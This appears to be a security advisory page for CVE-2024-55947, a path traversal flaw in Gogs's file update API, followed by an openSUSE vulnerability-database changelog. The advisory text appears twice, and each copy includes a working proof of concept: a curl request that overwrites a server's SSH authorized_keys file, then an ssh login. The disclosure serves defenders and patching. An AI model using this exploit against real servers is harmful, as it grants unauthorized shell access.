CVE-2024-55947

Gogs is an open source self-hosted Git service. A malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. The vulnerability is fixed in 0.13.1.

Gogs is an open source self-hosted Git service. A malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. The vulnerability is fixed in 0.13.1.

Impact

The malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server.

Patches

Writing files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.

Workarounds

No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.

References

n/a

Proof of Concept

1. Generate a Personal Access Tokens

2. Edit any file on the server with this

   curl -v --path-as-is -X PUT --url "http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys" \
   -H "Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf" \
   -H "Content-Type: application/json" \
   --data '{
     "message": "an",
     "content": "<base64encoded: your ssh pub key>"
   }'
   

3. ssh connect to remote server

   ssh -i temp git@localhost -p 10022
   

For more information

If you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.

Gogs is an open source self-hosted Git service. A malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. The vulnerability is fixed in 0.13.1.

Gogs is an open source self-hosted Git service. A malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. The vulnerability is fixed in 0.13.1.

Impact

The malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server.

Patches

Writing files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.

Workarounds

No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.

References

n/a

Proof of Concept

1. Generate a Personal Access Tokens

2. Edit any file on the server with this

   curl -v --path-as-is -X PUT --url "http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys" \
   -H "Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf" \
   -H "Content-Type: application/json" \
   --data '{
     "message": "an",
     "content": "<base64encoded: your ssh pub key>"
   }'
   

3. ssh connect to remote server

   ssh -i temp git@localhost -p 10022
   

For more information

If you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.

Path Traversal in file update API in gogs in gogs.io/gogs

These are all security issues fixed in the govulncheck-vulndb-0.0.20250108T191942-1.1 package on the GA media of openSUSE Tumbleweed.

This update for govulncheck-vulndb fixes the following issues:

• Update to version 0.0.20250108T191942 2025-01-08T19:19:42Z. Refs jsc#PED-11136 Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2025-3371 GHSA-2r2v-9pf8-6342
  • GO-2025-3374 CVE-2025-22130 GHSA-j4jw-m6xr-fv6c

• Update to version 0.0.20250107T160406 2025-01-07T16:04:06Z. Refs jsc#PED-11136 Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2025-3363 GO-2025-3364 GO-2025-3367 GO-2025-3368
  • GO-2024-3355 CVE-2024-54148 GHSA-r7j8-5h9c-f6fx
  • GO-2024-3356 CVE-2024-55947 GHSA-qf5v-rp47-55gg
  • GO-2024-3357 CVE-2024-56362 GHSA-xwx7-p63r-2rj8
  • GO-2024-3358 CVE-2024-45387 GHSA-vq94-9pfv-ccqr
  • GO-2024-3359 CVE-2024-28892 GHSA-5qww-56gc-f66c
  • GO-2024-3360 CVE-2024-25133 GHSA-wgqq-9qh8-wvqv
  • GO-2025-3361 CVE-2024-55196 GHSA-rv83-h68q-c4wq
  • GO-2025-3362 CVE-2025-21609 GHSA-8fx8-pffw-w498
  • GO-2025-3363 CVE-2024-56514 GHSA-cwrh-575j-8vr3
  • GO-2025-3364 CVE-2024-56513 GHSA-mg7w-c9x2-xh7r
  • GO-2025-3367 CVE-2025-21614 GHSA-r9px-m959-cxf4
  • GO-2025-3368 CVE-2025-21613 GHSA-v725-9546-7q7m

• Update to version 0.0.20241220T214820 2024-12-20T21:48:20Z. Refs jsc#PED-11136 Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2024-3101 GHSA-75qh-gg76-p2w4
  • GO-2024-3339 GHSA-8wcc-m6j2-qxvm

• Update to version 0.0.20241220T203729 2024-12-20T20:37:29Z. Refs jsc#PED-11136 Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2024-3101 GHSA-75qh-gg76-p2w4
  • GO-2024-3109 CVE-2024-43803 GHSA-pqfh-xh7w-7h3p
  • GO-2024-3333 CVE-2024-45338 GHSA-w32m-9786-jp63
  • GO-2024-3342 GHSA-hxr6-2p24-hf98
  • GO-2024-3343 CVE-2024-9779 GHSA-jhh6-6fhp-q2xp
  • GO-2024-3344 GHSA-32gq-x56h-299c
  • GO-2024-3349 CVE-2024-25131 GHSA-77c2-c35q-254w
  • GO-2024-3350 GHSA-5pf6-cq2v-23ww
  • GO-2024-3354 CVE-2024-12678 GHSA-hr68-hvgv-xxqf